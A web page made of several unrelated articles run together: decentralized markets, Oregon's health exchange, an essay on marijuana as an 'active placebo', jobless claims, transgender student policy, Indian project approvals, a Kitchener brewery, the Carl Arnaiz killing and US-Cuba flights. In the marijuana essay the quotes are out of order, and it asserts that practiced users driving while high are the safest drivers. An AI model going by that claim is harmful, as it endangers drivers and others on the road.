transactions. No fees. Trade occurs directly between parties; there’s no site operator to take a cut. No data aggregation. Site operators (and data thieves) profit from aggregation of data on centralized systems, but there’s no single trove of data on decentralized systems. Trust and reputation are dynamic. In a centralized system, you are forced to trust the site operators, and the reputation system is static (as determined by site operators). In a decentralized system, you aren’t forced to trust any parties, and reputation systems can emerge without any control or censorship by central authorities.  Reputation in its rightful (cyber) place  And so it turns out that in a market without central escrow agents, reputation still plays a very important role. Though a seller may not have a name or face, which enables him to cheat without revealing his identity, his incentive to do so is far less when he's not holding US$12 million of other peoples' bitcoins. When he's holding no one's bitcoins but his own, the incentive to behave honestly over the long-term is restored. It's the only way to be profitable.  The decentralized, no-middle-man model has already worked wonders in money just since Bitcoin's release in 2009. And decentralized shopping protocols like OpenBazaar, Nxt Marketplace, and FreeMarket are remaking commerce the way Bitcoin remade money. The likes of Bitnation are even remaking the very notion of governance.  Everything that can be decentralized will be decentralized – what persistent problem will peer-to-peer technology solve next? Internet service, anyone?  Did you enjoy this article? You may also be interested in reading these ones:
-This October 21, 2013 photo shows the US government internet health insurance exchange Healthcare.gov. US President Barack Obama on Monday defended his problem-plagued health reform plan, declaring at a White House event that, despite numerous glitches, the program is already helping many uninsured Americans. "Let me remind everybody that the Affordable Care Act is not just a website," Obama said, after the troubled online rollout of the plan. "It's much more...You may not know it, but you're already benefiting from these provisions in the law."AFP PHOTO / Karen BLEIER (Photo credit should read KAREN BLEIER/AFP/Getty Images) (credit: KAREN BLEIER/AFP/Getty Images)  SALEM, Ore. (AP) — With a reputation as a pacesetter in health care, Oregon laid out bold plans for complying with the federal overhaul.  The state wouldn’t just create a health insurance exchange, a complicated undertaking in its own right. Oregon officials set out to build one of the biggest and best in the nation — a model that other states would want to copy.  But more than a month after Cover Oregon’s online enrollment was supposed to launch, reality is lagging far behind Gov. John Kitzhaber’s grand ideas. The online system still doesn’t work, and the exchange has yet to enroll a single person in health insurance.  Interviews with state officials and a review of public records by The Associated Press suggest Cover Oregon officials bit off more than they could chew and clung to their ambitious vision even when their risk management consultants raised alarms.  While rushing to get the exchange done, programmers and project managers also were busy with separate complex computer projects for the Oregon Health Authority and the Department of Human Services.  Cover Oregon officials say they’re working hard to finish the project and insist the features they’re creating will be worth the wait — even if it remains unclear when the site will go online.  “We stuck to the vision, and we’re experiencing now the bumps that go along with having a grand vision that doesn’t work out exactly the way you hope it will,” said Amy Fauver, chief communications officer for Cover Oregon.  Fauver said “we’re confident that we will get the system up and running here in the near future” and that it “will be something we can be really proud of.”  More than $300 million has been spent on the exchange so far, but the online enrollment system is still having trouble accurately determining whether people in complex family arrangements are eligible for Medicaid or the Children’s Health Insurance Program.  Cover Oregon officials say their launch has been delayed because they refuse to put out an imperfect product and fix the bugs later. And they say their whole system is more complex and has more features than most other states — but that also means more things can go wrong.  Some of the complexity they face is inherent in Oregon’s health care environment, which is unusually competitive. Eleven insurers are selling plans through Cover Oregon; some states have just a handful. Oregon also has complicated eligibility rules for Medicaid and the Children’s Health Insurance Program — known here as the Oregon Health Plan and Healthy Kids.  Some of the complications, though, are self-imposed, by the aspirations of the Legislature, the governor and the exchange’s own leadership. When other states delayed or gave up on a concept called “no wrong door,” Oregon held on, and is still holding on. The goal is to give people one portal — the Cover Oregon website — to sign up for insurance, whether they qualify for commercial insurance or Medicaid. In most other states, people who appear to qualify for Medicaid are sent to a separate enrollment process through the state Medicaid office.  From the very beginning, Oregon promised a “one-stop shop” for health insurance and, for better or worse, has refused to waiver. That means the state is seeking an entirely automated process for determining Medicaid eligibility and enrolling.  Once state lawmakers approved the exchange in 2011, the first stages of development were done by the Office of Information Services for the Oregon Health Authority and the Department of Human Services. At the same time, as it was overseeing construction of the exchange’s back-end information technology, the information office was also working on a massive project to modernize the internal computer systems for the health authority and human services agency. They were trying to use the same software to determine whether people are eligible for all public-assistance programs — not just Medicaid, but also programs like food stamps and welfare.  Carolyn Lawson, chief information officer for the health and human service agencies, said she doesn’t think work on modernizing her department’s own systems slowed down the architecture for Cover Oregon.  “There was always the fear that one project would overtake the other in importance, but it was two separate agencies and two separate projects,” Lawson said. “It was a risk, but it did not happen.”  Eventually, it might allow someone to fill out a single form and find out automatically whether they’re eligible for a variety of public assistance programs.  Over the past year, Cover Oregon’s risk consultant, Maximus, warned that the project was in danger of missing the Oct. 1 deadline to go live. In March, Maximus suggested that Cover Oregon re-organize its business to make individuals, small businesses and Medicaid distinct so one piece could be delayed if it was holding up the others. Cover Oregon rejected the suggestion, saying it was required to launch everything together on Oct. 1.  Oregon’s exchange struggles are far from isolated. The federal website running exchanges for 36 states has been mired with problems, and many states that are running their own exchanges have endured small glitches. But Oregon’s problems stand out, both because of their severity and because the state has held itself out as a leader.  There’s still no estimate for when online enrollment will be available, and officials are now urging people who need or want insurance to fill out a paper application or an online PDF and send it in as soon as possible. Applications are being processed by hand — a process that’s likely to take weeks, rather than the minutes that the website promised.  On Friday, the state announced plans to hire at least 400 people to process the paper applications.  “It is a complex system,” Kitzhaber said at a recent news conference when asked whether the state took on too much complexity. “But I think once we get through this initial rollout phase it’s going to be a real asset for us.”  (© Copyright 2013 The Associated Press. All Rights Reserved. This material may not be published, broadcast, rewritten or redistributed.)
-by giving it to people who have never had it before; by giving people very high doses that they are not used to (or giving it orally to people used to smoking it); and by giving people very hard things to do, especially things that they have never had a chance to practice while under the influence of the drug.  "To my mind, the best term for marijuana is active placebo - that is, a substance whose apparent effects on the mind are actually placebo effects in response to minimal physiological action."  a person who had never smoked marijuana before and just had; a marijuana smoker who had never driven while high and was just about to; a high marijuana smoker who had practiced driving while high; and a person with any amount of alcohol in him.  "The user who correctly interprets the significance of his spontaneous highs takes the first step away from dependence on the drug to achieve the desired state of consciousness and the first step toward freer use of his own nervous system. All drugs that seem to give highs behave this way; all are active placebos. But the less physiological noise, the easier it is for a user to understand the true nature of drugs and their highly indirect relationship to states of consciousness."  I've learned to do a lot of things when I'm stoned and seem to function well in all spheres of activity. I can also "turn off" a high when that seems necessary. The one problem I have, however, is talking to straight people when I don't want them to know I'm stoned. It's really scary because you constantly imagine you're talking nonsense and that the other person is going to realize you're high. That's never happened, though, so I conclude that I don't sound as crazy to others as I do to myself. It's worst on the telephone. Someone will call up and be talking to me, and when he stops I'll have no idea what he just said. Then I don't know what I'm supposed to answer and I have to stall until I get a clue as to what's expected of me. Again, even though this is very disconcerting, the other party never seems to notice that anything's wrong unless he's a heavy grass smoker, too, and then it doesn't matter. 1  From A Practical Guide to Yoga by James Hewitt  When the mind is stilled by Raja Yoga, time--that is to say, psychological time--ceases to exist. For time is relative. It only exists when one thing is taken in relation to another. If I go on a train journey my leaving the train at my destination, taken in relation to my getting in, shows a passage of time. Similarly, if I think of "fruit," and in a split second follow with another thought "apples," time has passed, and I am aware of its passing. But if the mind takes one thought and holds it, one-pointed and still, time is erased; it ceases--psychologically--to exist.  In the hurly-burly of civilized living we rarely find time, or even give a thought to living in the NOW. We spend our NOW thinking of the past or dreaming of the future. Raja Yoga enables us to be still and experience eternity, as defined by Boethius: "to hold and possess the whole fullness of life in one moment, here and now, past and present to come." 3  The following excerpt is from C.S. Lewis' Screwtape Letters--a witty and practical statement of orthodox Christian theology cast in the form of letters from a senior devil, Screwtape, to a junior devil, Wormwood, who is trying to capture the soul of an earthly "patient":  MY DEAR WORMWOOD,  I had noticed, of course, that the humans were having a lull in their European war [World War II]--what they naively call "The War!"--and am not surprised that there is a corresponding lull in the patient's anxieties. Do we want to encourage this or to keep him worried? Tortured fear and stupid confidence are both desirable states of mind. Our choice between them raised important questions.  The humans live in time, but our Enemy destines them to eternity. He therefore, I believe, wants them to attend chiefly to two things, to eternity itself and to that point of time which they call the Present. For the Present is the point at which time touches eternity. Of the present moment, and of it only, humans have an experience analogous to the experience which our Enemy has of reality as a whole; in it alone freedom and actuality are offered them. He would therefore have them continually concerned either with eternity (which means being concerned with Him) or with the Present--either meditating on their eternal union with, or separation from, Himself, or else obeying the present voice of conscience, bearing the present cross, receiving the present grace, giving thanks for the present pleasure. Our business is to get them away from the eternal and from the Present. 4  From Concentration and Meditation by Christmas Humphreys:  As the sequence of day and night, so is the alternation of work and rest, and it is in the minutes of comparative repose that the difference appears between the trained and the untrained student of mind-development. The beginner allows his energy to drain away in idle conversation or mental rambling, in vague revision of past experiences or anxiety of events as yet unborn, or in a thousand other wasteful ways for which, were he spending gold instead of mental energy, he would be hailed as a reckless spend-thrift to be avoided by all prudent men. 5  The following summary of J. Krishnamurti's philosophy of time is from Metaphysical Approach to Reality by Ganga Sahai, Mr. Krishnamurti's recent books are widely available in the West.  There is a state of being which Krishnamurti calls the timeless. It comes with the realization that the only real moment is the moment of the Now, the eternal present; the past and future taken as "no-more" and "not-yet" are illusions.  The center, the observer, is memory. The center is always in the past. Therefore, the center is not a living thing. It is a memory of what has been. When there is complete attention, there us no observer....  Life is broken up and this breaking of life, caused by the center "me," is time. If we look at the whole of existence without the center "me" there is no time.  The new dimension is the silent mind. It is always in the present, always in the Now. It is the timeless mind that really exists. 6  It would make more sense to look for effects not on the ear but rather on that part of the brain that processes auditory information. Cannabis seems to affect the secondary perception of sensory information, not the primary reception of it. Unfortunately, it is considerably harder to study secondary perception because the neural organization underlying it is less accessible to direct experimentation and much less well understood. A working hypothesis is that incoming sensory information (such as auditory signals representing music) normally follows conditioned pathways through the secondary perception network in order to get to consciousness. Under Cannabis, which might interfere with this normal processing, information may take novel routes to consciousness and thus be perceived in novel ways. Such a model would explain why users often say that under Cannabis they see things for the first time "as they really are," or why they dwell on aspects of complex visual or auditory stimuli they would ordinarily ignore. 7  References  Because marijuana is such an unimpressive pharmacological agent, it is not a very interesting drug to study in a laboratory. Pharmacologists cannot get a handle on it with their methods, and because they cannot see the reality of the non-material state of consciousness that users experience, they are forced to design experimental situations very far removed from the real world in order to get measurable effects. There are three conditions under which marijuana can be shown to impair general psychological performance in laboratory subjects. They are:Under any of these three conditions, pharmacologists can demonstrate that marijuana impairs performance. And if we look at the work being done by NIMH-funded researchers, all of it fulfills one or more of these conditions. In addition, the tests being used by these scientists are designed to look for impairments of functions that have nothing to do with why marijuana users put themselves in an altered state of consciousness. People who get high on marijuana do not spontaneously try to do arithmetic problems or test their fine coordination.What pharmacologists cannot make sense of is that people who are high on marijuana cannot be shown, in objective terms, to be different from people who are not high. That is, if a marijuana user is allowed to smoke his usual doses and then to do things he has had a chance to practice while high, he does not appear to perform any differently from someone who is not high. Now, this pattern of users performing better than nonusers is a general phenomenon associated with all psychoactive drugs. For example, an alcoholic will vastly outperform a nondrinker on any test if the two are equally intoxicated; he has learned to compensate for the effects of the drug on his nervous system. But compensation can proceed only so far until it runs up against a ceiling imposed by the pharmacological action of the drug on lower brain centers. Again, since marijuana has no clinically significant action on lower brain centers, compensation can reach 100 percent with practice.These considerations mean that there are no answers to questions like, What does marijuana do to driving ability? The only possible answer is, It depends. It depends on the person - whether he is a marijuana user, whether he has practiced driving while under the influence of marijuana. In speaking to legislative and medical groups, I have stated a personal reaction to this question in the form of the decision I would make if I were given the choice of riding with one of the following four drivers:I would unhesitatingly take driver number three as the best possible risk. One may wonder how many drivers of types one and two are on our highways. Probably many. But there is some consolation in the fact that persons learning to do things under the influence of marijuana almost always are anxious about their performance and therefore tend to err on the side of overcaution.The tendency for novice users of marijuana to imagine that their psychological functioning is disrupted to a much greater degree than it actually is, is most noticeable in conection with subtle changes in speech. People who are high on marijuana seem to have to do slightly more work that usual to remember moment to moment the logical thread of what they are saying. This change manifests itself in two ways: as a tendency to forget what one started out to say, especially following an interruption, and a tendency to go off on irrelevant tangents. Zinberg, Nelson and I were able to pick up these changes in tape recordings of our Boston subjects, but I must emphasize the adjective subtle in describing them. Someone not specially trained to listen for these changes would not hear them. Interestingly enough, however, marijuana users themselves often imagine they are not making sense and become anxious about other people guessing that they are high. Some users experience this subjective anxiety about speech most intensely when they are talking on the telephone. Here is a quote from such a user (a twenty-four-year-old male medical student), which Zinberg and I included in a paper published in Nature in 1969:Probably, the subtle difficulties in speech that high users pay great attention to are themselves manifestations of a change in a more general psychological function called immediate memory. It seems valid to distinguish three kinds of memory in man. The first has been termed immediate and seems to cover events of the past few seconds only. It is as if all information coming into the brain is held in some location for a very short time before a decision is made about where to store it. If it is to be filed in an accessible place, it passes to a second storage location called recent memory, where it may remain for days or, perhaps, weeks; otherwise it is salted away out of reach of ordinary consciousness. Eventually, if it is to be kept in an accessible place for a longer time, it moves to a third long-term storage location, which is the permanent memory file. Each of these locations has active connections to ordinary consciousness so that memories may be quickly retrieved from all of them in our normal waking state.In senile dementia, the classic psychological change is loss of recent memory with sparing of immediate and long-term memory. A senile patient can remember a string of numbers read to him long enough to recite them back and can go into autobiographical detail about his childhood. He cannot remember the date or the events of the previous day. By contrast, in certain forms of post-traumatic amnesia, immediate and recent memory are spared, but information filed prior to the trauma cannot be retrieved from the long-term memory storage. A person high on marijuana seems to have difficulty remembering what happened in the past few seconds, and the subtle speech changes reflect this difficulty. Furthermore, it looks as if a significant disturbance of immediate memory retrieval has few noticable consequences in terms of behavior, although it may cause great anxiety in the mind of the person experiencing it.This last observation raises an interesting question. Is the problem disturbance of immediate memory or anxiety about this change? Most people who have read the hypothesis Zinberg and I first presented in Nature have drawn the conclusion that marijuana interferes with immediate memory. In fact, the director of the National Institute of Mental Health, in testimony before Congress in 1970, used our results to support the statement that "more recent studies . . . in which researchers have learned some troublesome facts . . . make it impossible to give marijuana a clean bill of health."I would once have gone along with this kind of reasoning, but the more I have thought about the matter, the more it has become clear to me that it is not useful to think of marijuana as interfering with one's awareness of the immediate past.For one thing, disturbance of immediate memory seems to be a common feature of all altered states of consciousness in which attention is focused on the present. It can be noticed in hypnotic and other trances, meditation, mystic ecstasies, and highs associated with all drugs. Therefore, to call marijuana the cause of the phenomenon is probably unwise. In addition, the phrase disturbance of immediate memory bristles with negativity. Is it a negative description of a condition that might just as well be looked at positively? I believe so. In fact, the ability to live entirely in the present, without paying attention to the immediate past or future, is precisely the goal of meditation and the exact aim of many religious disciplines. The rationale behind living in the present is stated in ancient Hindu writing and forms a prominent theme of Buddhist and Christian philosophy as well: to the extent that consciousness is diverted into the past and future -- both of which are unreal -- to that extent is it unavailable for use in the real here and now. Consequently, monastic systems of all faiths have used devices like gongs and bells to focus the consciousness of the novice on the immediate reality of the present, and contemporary instructional materials on mental and spiritual development stress the same theme. Here are a few examples:Thus the pharmacological way of thinking leads to the formulation of a hypothesis built upon an incorrect causal attribution and a negatively biased description of a phenomenon assigned great value in other ways of thinking. The pharmacologist says marijuana interferes with immediate memory, and by using tests in which one is penalized for not paying full attention to the past, the pharmacologist can produce evidence to document his hypothesis. The National Institute of Mental Health is supporting this kind of research with money appropriated by Congress. It is not funding research designed to look for the positive advantages of having one's full awareness focused on the present.In a similar way, all other psychological effects of marijuana turn out to be common features of altered states of consciousness unassociated with drugs, and whenever pharmacologist describes them in negative ways, it is possible to look at them positively from the point of conscious experience. The perceptual changes reported by marijuana users are another example. Here again is an apparent paradox since all testing to date has failed to show any objective changes in sensory function during acute marijuana intoxication. If pharmacologists paid closer attention to what users say, they would find their way out of this paradox. There is no indication from persons high on marijuana that their sense organs are working differently from usual. Rather, the change seems to be in what they do with incoming sensory information. For instance, many users claim that listening to music is more interesting and pleasurable when they are high. They do not claim that they hear tones of lower volume or that they can better discriminate between pitches of tones. Yet all of the testing of auditory function under marijuana has been aimed at the ear--at auditory thresholds, pitch discrimination, and the like.In 1969, when I still thought as a pharmacologist in my professional life, I wrote the following paragraph in an article, "Cannabis," published in England in Science Journal:I now realize that altered secondary perception of sensory information is intrinsic to all altered states of consciousness, whether triggered by drugs or not. Therefore, it no longer seems profitable to me to try to understand how marijuana "causes" the effect. In addition, I no longer subscribe to the negative hypothesis that marijuana interferes with normal processing of perceptual data. Rather, I observe that in altered states of consciousness, one frequently gains the ability to interpret his perceptions in new ways and that this ability seems to be the key to freedom from bondage to the senses. For example, hypnotic anesthesia is nothing more than another way of perceiving pain. The patient, fully aware but in a state of focused consciousness, learns the "trick" of separating the pain itself from his reaction to it. He is thus free to perceive the pain in a novel way - something going on "out there" but not hurting. (One hypnotist I know produces this state with the suggestion that "the hurt is going out of the pain.")Furthermore, the ability to produce anesthesia at will (a power frequently demonstrated by adepts at yoga) may be no more than a trifling use of this freedom to experience sensations in other ways. Once one learns the process, he may become aware of many more useful things to do with it than ignore pain. For example, the conscious experience of unity behind the diversity of phenomena - said by sages and mystics of all centuries to be the most blissful and uplifting of human experiences - may require nothing more than a moment's freedom to stand back from the inrush of sensory information and look at it in a different way from usual. If all the so-called psychological effects of marijuana are really not attributable to marijuana, and if the physical effects that are attributable to it are so unimpressive, what, then, is marijuana? To my mind, the best term for marijuana is active placebo - that is, a substance whose apparent effects on the mind are actually placebo effects in response to minimal physiological action. Pharmacologists sometimes use active placebos (in contrast to inactive placebos like sugar pills) in drug testing; for example, nicotinic acid, which causes warmth and flushing, has been compared with hallucinogens in some laboratory experiments. But pharmacologists do not understand that all psychoactive drugs are really active placebos since the psychic effects arise from consciousness, elicited by set and setting, in response to physiological cues.Thus, for most marijuana users, the occasion of smoking a joint becomes an opportunity or excuse for experiencing a mode of consciousness that is available to everyone all the time, even though many people do not know how to get high without using a drug. Not surprisingly, regular marijuana users often find themselves becoming high spontaneously. (The pharmacologist invokes "residual concentrations of Cannabis constituents in the body" to explain this observation.) The user who correctly interprets the significance of his spontaneous highs takes the first step away from dependence on the drug to achieve the desired state of consciousness and the first step toward freer use of his own nervous system. All drugs that seem to give highs behave this way; all are active placebos. But the less physiological noise, the easier it is for a user to understand the true nature of drugs and their highly indirect relationship to states of consciousness. Alcohol users are less likely to find themselves spontaneously high because they have come to think that "high" includes all the pharmacological noise of alcohol. At the same time, marijuana, while providing a better opportunity to make the jump to drugless highs, is more insidious as a creator of illusion, for it enables the user to pretend that he is not really dependent on it at the same time that it reinforces the notion that highs come in joints, an irony that recalls another unsettling comment of C. S. Lewis' Screwtape: "Nowhere do we tempt so successfully as on the very steps of the altar."
-WASHINGTON — The number of American workers filing new jobless benefit claims unexpectedly jumped above 600,000 last week to a fresh 26-year high, signaling that the nation's recession is widening and deepening.  Separately, U.S. productivity growth -- a measure of how much workers produce per hour of labor -- more than doubled between the July-through-September quarter and the final three months of the year. But instead of seeing the data as evidence of improvement, analysts said the jump from an annual average of 1.5% to 3.2% was yet another sign of trouble.  In essence, companies reacted to the economy's sharp contraction by cutting workers at a faster pace than output, making it appear that those who remained on the job were growing more efficient.  The latest economic soundings bode ill for today's January jobs report, which many forecasters now say could show a monthly loss of 500,000 or more positions.
-After the United States government announcement that it will no longer challenge a nationwide hold on protections for transgender students, nearly 800 parents of transgender children sent a letter to President Donald Trump condemning the decision and calling on his administration to fully enforce federal civil rights laws. The letter, signed by parents from 45 states plus Washington, D.C., was organized by the Human Rights Campaign (HRC), and its newly formed Parents for Transgender Equality Council, a coalition of the nation’s leading parent-advocates working for equality and fairness for transgender people.  In his first days as Trump’s Attorney General, Sessions withdrew a request to halt an order against the Obama administration’s protections for transgender students. The 781 parents, representing the thousands of families of transgender children across the country, write, “No young person should wake up in the morning fearful of the school day ahead. When this guidance was issued last year, it provided our families — and other families like our own across the country — with the knowledge and security that our government was determined to protect our children from bullying and discrimination. Please do not take that away from us.”  “Just 48 hours after the confirmation of his anti-equality attorney general, Donald Trump’s administration directly attacked LGBTQ equality and took aim at the rights of transgender youth,” said HRC President Chad Griffin. “This disgraceful action exposes transgender students to harassment and discrimination and emboldens bullies from classrooms to state legislatures. These 781 courageous parents are asking that the federal government protect their children at school, something that all families deserve. We stand with these parents and urge President Trump and Attorney General Sessions to listen to families across the country demanding basic fairness and respect for every child.”
-NEW DELHI: In a move that is aimed at speeding up the decision making process, Prime Minister Narendra Modi has decided that various ministries can now approve projects up to Rs 1000 crore without the Cabinet approval.Till now the process entailed inter-ministerial discussions, Finance Ministry being kept in loop and finally the cabinet approval, ET Now reported.According to ET Now, the ministries were required to seek Cabinet approval for projects above Rs 200 crore. The five fold hike in the discretionary spending power of ministries is meant to allow faster clearances of projects, particularly those related to infrastructure.The infrastructure sector is a key focus area for the Modi-led government. The Centre is keen to speed up infrastructure development and investment to boost economic growth which remained at sub-5 per cent level during the previous two fiscals.Last week it was reported that the government is set to finalise the policy for implementing its ambitious plan to convert 100 existing cities into smart cities, where it will allow large-scale participation of private sector.Apart from the 100 existing cities that will be retrofitted to smart cities, the government is also considering developing three-four greenfield cities, urban development secretary Shankar Aggarwal told ET. A key to developing the smart cities will be unravelling the large number of rules and regulations that have slowed down development for years, the secretary said.PM Modi has already asked the government to revisit all old rules and regulations, manuals and laws, and cut them down wherever needed.(With inputs from ET Bureau & PTI)
-It has been a long two years, but the collaborating team behind the brewery Together We're Bitter is excited to finally be opening near downtown Kitchener.  "It has been forever," Culum Canally, one of six co-owners of TWB, said in an interview with CBC News.  In September, they found a 1,500 sq. ft. building to turn into the brewery, the former Eco Coffee Roaster building at 300 Mill Street. In January, they had all their licenses in place.  But they are waiting until Feb. 10 to open to ensure they have enough beer in the tanks, Canally said. They are very aware of embarrassing stories involving other local breweries that opened but then sold out within days, forcing them to close until they had more beer available.  Canally said they wanted to avoid that and, he said, their supporters seem willing to wait a few more days to ensure stability.  From finding co-owners in the co-operative brewery, to a crowdfunding campaign to buy a fermenter, to shifting the planned opening day, Canally said people who were excited when the brewery was first announced two years ago have continued to support their journey.  "We've been pleasantly surprised that our community that's been following us and supporting us has not gotten as weary as we thought they would get at hearing the same refrain that we're still looking for a location and going to open," he said.  "We're hoping there's going to be a good, loyal crew of followers and supporters there to purchase beer."  Growth in local beer  For a long time, Brick Brewing and Lion Brewing in the Huether Hotel in Waterloo were the only beer players in town. But in 2013, Block Three in St. Jacob's opened. Then in 2014, Abe Erb and Innocente both opened in Waterloo.  TWB will open next week. Descendants Beer and Beverage Co. plans to open its Victoria St. storefront in March.  As well, two breweries are in the planning stages in Cambridge, WT BrewCo and Barncat Artisan Ales.  For the first couple of years, we're just going to sell beer and try to have some nice parties. - Culum Canally, part owner of Together We're Bitter  Despite the growing market, Canally said he is not concerned about so many breweries opening in such a short time.  "I am a little surprised but I am also really heartened that a place like Kitchener-Waterloo, that has such a history of brewing, is finally getting some of that brewing tradition back," he said.  "I don't think it's a bubble, I hope it's not a bubble. I think it's just more of growing the market and taking market share away from the large macro international breweries."  Future plans  TWB is unique in that it is a co-operative brewery, so there are six owners as well as several community supporters who have a stake in the business.  Canally said those who initially proposed the business model felt it was a natural extension of the craft beer industry, which is often very much about collaborating with one another and being connected to the communities where they are based.  The Together We're Bitter brewery in Kitchener has been in the works for about two years. (Twitter)  "We felt that really roots us in the community, it drives us, it gives us a lot of support to draw on in terms of ideas and links to the community to be more authentically linked to the community," he said of having so many people involved.  The initial plan for TWB was to be a brewpub, but Canally said the prices to rent a space in downtown Kitchener that could accommodate the brewing equipment was "out of our reach."  Not only were rents too high, Canally said the downtown Kitchener foot traffic after 8 p.m. needed to sustain a brewpub is just not there.  The owners also wanted to have a brewery people could walk or bike to, and while they are not far from the downtown core, Canally said they did opt to go with a building that had lots of parking.  "For the first couple of years, we're just going to sell beer and try to have some nice parties and nice events," he said.
-(UPDATED) 'Ang nangyari kasi sa police – 'yung pagkapatay nung prinesent kong hold-upper is parang stage play o scripted 'yung pagkapatay,' says taxi driver Tomas Bagcal, who also says he now fears for his safety  Published 6:00 PM, September 10, 2017  MANILA, Philippines (UPDATED) – The taxi driver involved in the case of slain 19-year-old Carl Arnaiz surfaced on Sunday, September 10, saying that a robbery indeed took place. But he said the killing of Arnaiz seemed "staged."  In a press conference on Sunday organized by human rights group Rise Up for Life and for Rights, Tomas Bagcal said that about 15 minutes after he picked up Arnaiz along a "highway in Navotas," the latter declared a hold-up and asked for his wallet.  Arnaiz allegedly pulled the trigger of his gun but it malfunctioned, so he hit Bagcal's wrist with the gun instead. (READ: Carl Arnaiz tested positive for gunpowder – PNP)  After the supposed robbery, Bagcal claimed the teenager was then mauled by bystanders. (READ: Carl Arnaiz handcuffed, beaten up, killed – PAO autopsy)  "'Yung bugbog sarado, do'n sa mga tambay doon. Inawat ko na nga eh, sabi ko dalhin na lang sa presinto... Ang purpose ko doon, para i-inquest siya," the taxi driver said.  (He was beaten up by bystanders there. I even told them to stop, I said we should just bring the suspect to the police station... My purpose for bringing him there was so an inquest could be conducted.)  Bagcal said he took Arnaiz to the police station located along 9th Avenue. He claimed that police did not ask him questions about the robbery, and only asked him about his age, birthdate, address, and details of the cab he was driving – which would mean that police fabricated the rest of the information in his first affidavit.  Bagcal said that after he brought Arnaiz to the police station, cops then instructed him to follow them and the suspect to C3 Road where he was allegedly robbed. It was then that Arnaiz was shot dead.  "Nakita ko na naglalakad [si Arnaiz], and then a few seconds [later], may putukan na akong narinig. At that time, nagtago ako sa poste ng Meralco kasi hindi naman bulletproof 'yung taxi ko... Kita ko bagsak na 'yung naglalakad na naka-itim," he said.  (I saw him walking, and then a few seconds later, I heard gunshots. At that time, I hid behind an electrical post, because my taxi is not bulletproof... I saw the boy wearing black fall to the ground after getting shot.)  "Ang nangyari kasi sa police – 'yung pagkapatay nung prinesent kong hold-upper is parang stage play o scripted 'yung pagkapatay," he also said.  (What happened with the police – it seems that the killing of the hold-upper who I presented seems like a stage play, or it seems the killing was scripted.)  The Public Attorney's Office (PAO) earlier said the crime scene appeared to be "staged." (READ: PNP autopsy shows Carl Arnaiz had 'difficulty' fighting back)  Bagcal on Sunday said that the two policemen linked to Arnaiz's killing, PO1 Jeffrey Perez and PO1 Ricky Arquilita, were the same cops "in civilian clothes" he met on the night of the alleged robbery.  'Immense pressure'  Bagcal said he approached Rise Up because he feels immense pressure and fears for his family's safety. A relative, he added, told him about the group.  "May rumansack sa apartment ko, nakatiwangwang... pati 'yung bahay ko, ganoon rin, may pumunta ro'n, hinahanap ako," he said.  (Someone ransacked my apartment, left it in shambles... even my house, someone went there, looking for me.)  "Ang laki ng pressure ko kasi nadadawit 'yung pamilya ko sa dami ng pumupunta sa bahay at naghahanap sa akin kaya ako lumapit dito sa Rise Up," he added.  (I feel immense pressure because my family is getting dragged into this mess. Many people have come to our house, looking for me, so I decided to seek help from Rise Up.)  Bagcal was earlier criticized for issuing two contrasting affidavits on the alleged robbery. In the first affidavit on August 18, he supposedly failed to provide any details of the supposed robber's appearance. In the second affidavit on August 29, however, his description of the robber matched the clothes Arnaiz was wearing.  On Sunday, Bagcal said he issued the second affidavit to clarify that there was only one robber, since a 14-year-old boy was also being implicated in the case. Bagcal did not mention that boy's name, but Arnaiz's companion, 14-year-old Reynaldo de Guzman, was later found dead in Nueva Ecija with around 30 stab wounds.  Last September 5, PO2 Rodolfo Bautista, the investigator, told senators in a legislative hearing that Bagcal was too "afraid" to speak to him in detail the first time.  Bagcal said on Sunday that he is willing to face the Senate probe into Arnaiz's case.  "Isa akong tatay din, at masakit mawalan [ng anak]. Kasi ako may anak din akong lalaki, masakit talaga. Pero wala tayong magagawa, 'yun na 'yun," the taxi driver added.  (I'm also a father, and I know it hurts to lose a child. I also have a son, so I know what happened is painful for them. But we can't do anything about it now, that's what happened.)  According to Rise Up, Bagcal prepared a written statement to clarify further questions and inconsistencies in his claims, and this will be presented in the "proper venue." (READ: Duterte calls Carl Arnaiz his 'relative') – Rappler.com
-When you shoot a zombie, does it count as murder, or at least attempted murder?  That question actually is of some epistemological importance in the context of President Donald Trump’s decision last month to reverse most – but not quite all – of his predecessor’s actions opening up travel to and trade with the Caribbean communist island of Cuba. That policy change triggered accusations from some quarters that Trump is killing the U.S.-Cuba travel market.  But can one kill that which was already dead?  U.S. airlines jumped in to the U.S.-Cuba market with great fanfare in 2016. The early projections from the Obama White House and economic team were that soon there would be 1.8 million passengers a year flying between this nation of 320 million people who are, by Cuban standards, nearly all insanely wealthy, and the impoverished island 90 miles south of Florida.  So, most U.S. carriers rushed to offer service to Cuba. Since no market existed previously, and since the Cuban economy is so stunted it’s likely that they did not expect the kind of immediate profitability that the Obama Administration had implied. So perhaps they rushed to launch service to Cuba in an effort to stake an early claim in a market that they might eventually actually be worthwhile to serve, to grab free service rights that they might be able to sell later at a profit to a stronger competitor, or to protect their market share positions in U.S. markets like south Florida where large numbers of Cuban-Americans live and conceivably might want to visit their familial homeland and relatives from time to time.  But it never made any economic or marketing sense for U.S. carriers to pour 10,000 seats a month into the U.S.-Cuba air market, as U.S. carrier did initially. The per capita income in Cuba is around $5,500 a year, or roughly one-seventh that of the state of Mississippi, which at just under $37,000 ranked last in 2014 among the 50 states in per capita income. But while Mississippi ranks just 31st in population among the states with just under 3 million residents Cuba’s population of 11.4 million would place it 8th, if it were a state, just behind Ohio and just ahead of Georgia. That means Cuba has, in relative terms, an inordinate number of extremely poor people. Developing profitable traffic demand among such a population likely will take decades, even if they eventually are allowed to travel at will, a right they still don’t have today.  Thus, nearly all of the passengers flying between the two nations were – and continue to be – Americans. Indeed, restrictions still imposed by the Castro regime block most Cubans from flying north, even if their American family members pay for the tickets. And most of those Americans flying to Cuba are, and likely will be for the foreseeable future, Cuban Americans traveling to visit family and friends who still live on the island. As leisure, rather than business travelers, they can be expected to be very price sensitive, a factor that promises to make it even more difficult for U.S. carriers to earn profits from their Cuban routes.  Meanwhile Americans who did fly to Cuba after the market opened last year quickly discovered that there’s not much to do there.  Cuba once was renowned as a vacation and party Mecca for wealthy Americans before the communist takeover of the government in January 1959. But since then there’s been effectively zero spending on tourism infrastructure. And what little tourism the island did receive came from budget-conscious vacationers from Central and South America, Canada and Europe. So there was little money to spend on keeping up the tourism infrastructure even if parties in power had wanted to do so.  Today, most Cuban hotels are run-down and staffed by Cubans who have no concept of the kind of service levels most Americans expect. The food in Cuban restaurants reportedly is quite tasty but in short supply, thanks to chronic shortages of meat and other key menu items. And an economy that 